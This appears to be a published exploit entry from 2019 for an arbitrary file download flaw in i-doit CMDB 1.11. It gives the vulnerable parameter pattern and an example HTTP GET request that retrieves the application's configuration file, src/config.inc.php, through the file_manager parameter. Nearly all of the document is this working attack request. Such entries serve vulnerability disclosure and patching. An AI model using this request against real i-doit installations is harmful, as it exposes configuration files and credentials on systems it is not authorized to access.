# Exploit Title: i-doit CMDB 1.11 - Arbitrary File Download # Date: 2019-02-26 # Exploit Author: Gionathan Reale # Vendor Homepage: https://www.i-doit.org/ # Software Link: https://netcologne.dl.sourceforge.net/project/i-doit/i-doit/1.11/idoit-open-1.11.zip # Version: 1.11 # Tested on: ParrotOS # POC: # # http://localhost/[PATH]/index.php?file_manager=image&file=[FILE] # -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- EXAMPLE: GET /[PATH]/index.php?file_manager=image&file=src/config.inc.php HTTP/1.1 Host: fakewebsite.com --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------